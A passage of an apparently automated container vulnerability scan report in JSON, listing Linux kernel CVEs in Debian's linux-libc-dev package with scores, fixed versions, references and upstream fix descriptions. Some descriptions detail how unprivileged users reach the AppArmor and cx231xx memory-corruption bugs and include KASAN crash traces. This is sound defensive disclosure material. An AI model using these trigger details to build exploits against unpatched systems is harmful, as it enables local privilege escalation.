playback/capture request and ring\nbuffers only when the sound card reference count drops to zero.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89736", "https://git.kernel.org/linus/858965947081d10d41d9a1010a540d3d5eea958b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89736.mbox", "https://git.kernel.org/stable/c/4e747c864a88537e18b1ffc19a1954c9686bb8e1", "https://git.kernel.org/stable/c/6f46762196f04464e1050a9ee94e72b917db9010", "https://git.kernel.org/stable/c/79a92896e2bb9471550c56fc23d8d93592f04c27", "https://git.kernel.org/stable/c/858965947081d10d41d9a1010a540d3d5eea958b", "https://git.kernel.org/stable/c/891a8d11f4d5eb50b2ce7570f4f98204a7a57493", "https://git.kernel.org/stable/c/a7ecd1a04f4f485d7be6443d0f0b2c61a800cb82", "https://git.kernel.org/stable/c/c74ff0b1a0fca53d3ac185873c87d6a719b30a47", "https://git.kernel.org/stable/c/f983793f03148b097977f200298db215cd2d4438", "https://nvd.nist.gov/vuln/detail/CVE-2026-89736", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89736" ], "PublishedDate": "2026-09-11T20:20:04.077Z", "LastModifiedDate": "2026-10-19T09:18:16.323Z" }, { "VulnerabilityID": "CVE-2026-89761", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89761", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b390dfe122b082364a460a4d282ffc1003531e3e4a7a3c1dba95e305c82562c9", "Title": "kernel: apparmor: fix out-of-bounds write when null terminating a label vec", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix out-of-bounds write when null terminating a label vec\n\naa_vec_unique() null terminates at vec[n - dups] when VEC_FLAG_TERMINATE\nis passed. If the components are all distinct no duplicates are dropped,\ndups is 0 and the terminator goes to vec[n], so the caller has to provide\nroom for n + 1 entries.\n\naa_label_strn_parse() sets up its vector with vec_setup(profile, vec, len,\ngfp) and then calls aa_vec_unique(vec, len, VEC_FLAG_TERMINATE), but\nvec_setup() does not reserve the terminator entry. Up to LOCAL_VEC_ENTRIES\nit uses the local array of LOCAL_VEC_ENTRIES pointers, above that it\nallocates exactly len pointers. The terminator therefore lands one entry\npast the end of the local array when len is LOCAL_VEC_ENTRIES, and one\nentry past the end of the allocation when len is larger.\n\nlen comes from the number of \"//\u0026\" separated components in the label name\nand label_count_strn_entries() does not bound it. An unprivileged task\nreaches the parse by writing to /proc/self/attr/apparmor/current or through\nlsm_set_self_attr(2), both of which go through do_setattr(), and the name\nis parsed before the change_profile permission is checked.\nThe query_label() path behind the securityfs .access file, which is\nmode 0666, performs no permission check at all. Every component has to\nresolve to a loaded profile, so a system with policy loaded is required.\n\nThe other two VEC_FLAG_TERMINATE users work on a label vec that\naa_label_alloc() has already sized with \"+ 1 for null terminator entry on\nvec\". Reserve the same entry in vec_setup() and DEFINE_VEC(). Passing\nlen + 1 from the caller instead would move len == LOCAL_VEC_ENTRIES out of\nthe local array and into kzalloc().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89761", "https://git.kernel.org/linus/9f1e40193eef7f047e6b77cfb4b4cafdecd7a123%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89761.mbox", "https://git.kernel.org/stable/c/0d4cb3af82556afc48f90fd3e8a126ff32343f41", "https://git.kernel.org/stable/c/28069434aef66b9d084f0609b7a29c171846815e", "https://git.kernel.org/stable/c/36bdd0b45ec3f4822832a56e9db8674c8450dfce", "https://git.kernel.org/stable/c/40fdee1cb4f18e6a1a21a891ae4735bcd4d35026", "https://git.kernel.org/stable/c/57bb24025f450728f342d8e08cd3909c89361d90", "https://git.kernel.org/stable/c/9124e078ea2250d8d01d2162a550acb01ef5bf48", "https://git.kernel.org/stable/c/9f1e40193eef7f047e6b77cfb4b4cafdecd7a123", "https://git.kernel.org/stable/c/b17c8f5dcb36a032688847b2bce4bd813b4baad1", "https://nvd.nist.gov/vuln/detail/CVE-2026-89761", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89761" ], "PublishedDate": "2026-09-11T20:20:07.243Z", "LastModifiedDate": "2026-10-30T13:20:28.5Z" }, { "VulnerabilityID": "CVE-2026-89777", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89777", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c97c3873fcbd21ed8a5f924a4b50d5b039ff15b662f23e8e37a2dacca1971562", "Title": "kernel: vfio/pci: clear vdev-\u003emsi_perm after freeing it on init failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: clear vdev-\u003emsi_perm after freeing it on init failure\n\nvfio_msi_cap_len() lazily allocates the per-device MSI permission table:\n\n\tvdev-\u003emsi_perm = kmalloc_obj(struct perm_bits, GFP_KERNEL_ACCOUNT);\n\tif (!vdev-\u003emsi_perm)\n\t\treturn -ENOMEM;\n\n\tret = init_pci_cap_msi_perm(vdev-\u003emsi_perm, len, flags);\n\tif (ret) {\n\t\tkfree(vdev-\u003emsi_perm);\n\t\treturn ret;\t\t/* vdev-\u003emsi_perm left dangling */\n\t}\n\nWhen init_pci_cap_msi_perm() -\u003e alloc_perm_bits() fails with -ENOMEM, the\nerror path frees vdev-\u003emsi_perm but leaves the freed pointer stored in\nit. vdev-\u003emsi_perm is not re-zeroed later because struct\nvfio_pci_core_device is per-device and persists across open/close cycles,\nand the vfio_config_init() error path returns without calling\nvfio_config_free(). So the dangling pointer outlives the failed open.\n\nThat leads to two use-after-frees on the same device:\n\n1. Reuse. The next vfio_config_init() sees the stale pointer at\n \"if (vdev-\u003emsi_perm) return len;\" and reuses the freed object. MSI\n config accesses in vfio_pci_config_rw_single() then dereference and\n call the freed perm-\u003ereadfn / perm-\u003ewritefn function pointers.\n\n2. Double free. A later vfio_config_free() runs free_perm_bits() and\n kfree() on the already-freed object.\n\nFix it by NULLing vdev-\u003emsi_perm after the kfree(), matching the\nNULL-after-free discipline already used in free_perm_bits() and\nvfio_config_free().\n\n BUG: KASAN: slab-use-after-free in vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961)\n Read of size 8 at addr ffff88800fcc88d0 by task exploit/143\n Call Trace:\n ...\n kasan_report (mm/kasan/report.c:595)\n vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961)\n vfio_pci_config_rw (drivers/vfio/pci/vfio_pci_config.c:1986)\n vfio_pci_rw (drivers/vfio/pci/vfio_pci_core.c:1599)\n vfs_read (fs/read_write.c:572)\n __x64_sys_pread64 (fs/read_write.c:764)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n ...\n\nFollowed on device close by a double free of the same object:\n\n Oops: general protection fault, probably for non-canonical address\n 0x1f63e0e8000008: 0000 [#1] SMP KASAN NOPTI\n RIP: 0010:kfree (mm/slub.c:6711)\n Call Trace:\n vfio_config_free (drivers/vfio/pci/vfio_pci_config.c:1861)\n vfio_pci_core_disable (drivers/vfio/pci/vfio_pci_core.c:685)\n vfio_pci_core_close_device (drivers/vfio/pci/vfio_pci_core.c:777)\n vfio_df_close (drivers/vfio/vfio_main.c:602)\n vfio_device_fops_release (drivers/vfio/vfio_main.c:648)\n __fput (fs/file_table.c:512)\n __x64_sys_close (fs/open.c:1496)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n ...\n Kernel panic - not syncing: Fatal exception", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-89777", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/dc77acfeb979dded39b247b60fef0399536bfa77%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89777.mbox", "https://git.kernel.org/stable/c/25cdd2a492d868cff1e519a60fe282909c52d385", "https://git.kernel.org/stable/c/533d0c5feef85ee6404b9f41d5564fac6971a008", "https://git.kernel.org/stable/c/812f1db7f0755a19ef16ecdc5cec51bcabc5eda5", "https://git.kernel.org/stable/c/d665a1688af7f8fefd7c0eb04f2a37122ce007f4", "https://git.kernel.org/stable/c/dc77acfeb979dded39b247b60fef0399536bfa77", "https://git.kernel.org/stable/c/eb84cd81040e58dd05ac190f561f2115e3367249", "https://git.kernel.org/stable/c/f0eea8f9013676b42289ec35941e848b8a543e19", "https://git.kernel.org/stable/c/fda8fb7e8179561693a786a7af593f6b944a21c1", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-hnychtihtatx.toml", "https://linux.oracle.com/cve/CVE-2026-89777.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89777", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89777" ], "PublishedDate": "2026-09-16T09:17:08.073Z", "LastModifiedDate": "2026-10-19T09:18:20.933Z" }, { "VulnerabilityID": "CVE-2026-89811", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89811", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9fafec2da47348380b77703dfd4d53b8582af452cc87360961ad228e20f60363", "Title": "kernel: drm/amdkfd: Add TLB flush after MES queue eviction/suspension", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Add TLB flush after MES queue eviction/suspension\n\nMES (Micro Engine Scheduler) does not perform heavy-weight TLB\ninvalidation after unmapping queues, unlike HWS which does this\nautomatically. This causes a race condition where in-flight DMA\ndescriptors can access memory that has been unmapped, leading to page\nfaults and GPU queue hangs during SVM page migration.\n\nThe issue manifests as KFDSVMRangeTest.MultiThreadMigrationTest\nfailures on gfx1151 (Strix Point) with XNACK mode 1 enabled - the GPU\ncompute queue hangs with packets submitted but never consumed.\n\nAdd kfd_flush_tlb() calls after MES queue removal in two locations:\n- evict_process_queues_cpsch(): after all queues removed during eviction\n- suspend_queues(): after debug/criu queue suspension (with mem_fence barrier)\n\nThis ensures all in-flight memory accesses from unmapped queues are\nflushed before memory is freed or migrated.\n\n(cherry picked from commit f5c4f88e0f9c45a8fb9dfac0c1df726c95e41b77)", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89811", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/94e25cb6ab7f4f025bcdcd8ea79fda30f12843a4%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89811.mbox", "https://git.kernel.org/stable/c/5bbd7f283312d0209a0fedcc9d2d33b5afa5a7b1", "https://git.kernel.org/stable/c/6aae545c87087e4dc96e205452243813bfa73ba2", "https://git.kernel.org/stable/c/750cd793ee69c27faf17fb9c49f92f71716bbc8b", "https://git.kernel.org/stable/c/94e25cb6ab7f4f025bcdcd8ea79fda30f12843a4", "https://git.kernel.org/stable/c/bbf5ad5268f36d7ebb7e99ae78fc73cffe98d372", "https://git.kernel.org/stable/c/e230c546ed93741833ab5babb0b202f9c2052b45", "https://linux.oracle.com/cve/CVE-2026-89811.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89811", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89811" ], "PublishedDate": "2026-09-16T11:16:46.267Z", "LastModifiedDate": "2026-10-30T13:20:30.04Z" }, { "VulnerabilityID": "CVE-2026-89846", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89846", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ec702691c1e5d236e5963a92fd06d3de87766a12d249d945244ba3e35f9aa506", "Title": "kernel: scsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read\n\nIn qla2x00_status_entry(), the FWI2 status path advances sense_data and\nshrinks par_sense_len by rsp_info_len:\n\n\tif (IS_FWI2_CAPABLE(ha)) {\n\t\tsense_data += rsp_info_len;\n\t\tpar_sense_len -= rsp_info_len;\n\t}\n\nrsp_info_len is a 32-bit value taken directly from the target's FCP\nresponse (sf.rsp_data_len), while par_sense_len is the IOCB data area\nsize (28 bytes for 24xx, 60 bytes for 29xx). A hostile or buggy target\nreporting an rsp_info_len larger than par_sense_len makes the unsigned\nsubtraction underflow to a huge value and advances sense_data out of\nbounds.\n\nThe underflowed par_sense_len then defeats the cap in\nqla2x00_handle_sense():\n\n\tif (sense_len \u003e par_sense_len)\n\t\tsense_len = par_sense_len;\n\tmemcpy(cp-\u003esense_buffer, sense_data, sense_len);\n\nso the memcpy reads up to SCSI_SENSE_BUFFERSIZE bytes from the\nout-of-bounds sense_data pointer, leaking adjacent response-ring/heap\nmemory into the command's sense buffer.\n\nClamp rsp_info_len to par_sense_len before the subtraction so\npar_sense_len can never underflow and sense_data stays within the IOCB\ndata area. The fix sits before the comp_status switch, covering both\nqla2x00_handle_sense() call sites.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-89846", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/ca6d880d6c70cb7946e7b3e05d7285f271b6d99e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89846.mbox", "https://git.kernel.org/stable/c/125b12861c726e58448bb95d55b04851fb131d1f", "https://git.kernel.org/stable/c/6b08c0cb110a1fba92f99d655020198489699815", "https://git.kernel.org/stable/c/be75ab791c9b3baca66c70ce03443afebc83acda", "https://git.kernel.org/stable/c/ca6d880d6c70cb7946e7b3e05d7285f271b6d99e", "https://git.kernel.org/stable/c/d7f7746ff031ae45724881261804f4bf5317c985", "https://git.kernel.org/stable/c/e57ace988bda5693f7b3645f652ea4b4220870ee", "https://git.kernel.org/stable/c/ebc41dfc59d190956e0113e8bd90c28f6f21e8b9", "https://git.kernel.org/stable/c/f6e8977bce887481b2b2b0e2e14a791270741cfb", "https://linux.oracle.com/cve/CVE-2026-89846.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89846", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89846" ], "PublishedDate": "2026-09-16T11:16:51.853Z", "LastModifiedDate": "2026-10-19T09:18:28.607Z" }, { "VulnerabilityID": "CVE-2026-89894", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89894", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3607f8b543f505ad15b864b7083d7b0de69eddcf5391d849d459089b9205fe98", "Title": "kernel: media: cx231xx: reject geometry changes while the VBI queue is busy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cx231xx: reject geometry changes while the VBI queue is busy\n\nvidioc_s_fmt_vid_cap() and vidioc_s_std() change the device-wide\ndev-\u003ewidth / dev-\u003enorm but only refuse the change when the *video* queue\n(dev-\u003evidq) is busy. The VBI queue (dev-\u003evbiq) shares that same geometry:\ncx231xx_init_vbi_isoc() latches dma_q-\u003elines_per_field from dev-\u003enorm,\nthe VBI videobuf2 plane is sized from dev-\u003ewidth / dev-\u003enorm in\nvbi_queue_setup() and vbi_buf_prepare(), and cx231xx_do_vbi_copy() then\nrecomputes the destination offset from the *live* dev-\u003ewidth and the\nlatched lines_per_field on every URB completion:\n\n\toffset = lines_completed * (dev-\u003ewidth \u003c\u003c 1) + ...;\n\tif (dma_q-\u003ecurrent_field == 2)\n\t\toffset += dev-\u003ewidth * 2 * dma_q-\u003elines_per_field;\n\tmemcpy(plane + offset, p_buffer, lencopy);\n\nBecause the VBI node shares video_ioctl_ops with the video node, an\napplication can size a small VBI plane (REQBUFS/QBUF with a small width,\nor with the NTSC standard), then enlarge dev-\u003ewidth (or switch dev-\u003enorm\nto PAL) through the video node while the VBI stream is running -- the\nchange is allowed because only dev-\u003evidq is checked -- and let the device\ndeliver a field-2 VBI payload. cx231xx_do_vbi_copy() now computes the\noffset with the larger geometry and memcpy()s past the end of the smaller\nplane that was already allocated, a heap out-of-bounds write whose offset\nis attacker-chosen and whose contents come from the device. The\nper-field guard in cx231xx_copy_vbi_line() does not help: it bounds the\ncopy against the latched lines_per_field, not the plane's real capacity,\nand vb2 does not re-run buf_prepare() for an already prepared buffer.\n\nRefuse the format/standard change when the VBI queue is busy as well, so\nthe geometry cannot change underneath an allocated VBI buffer.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": 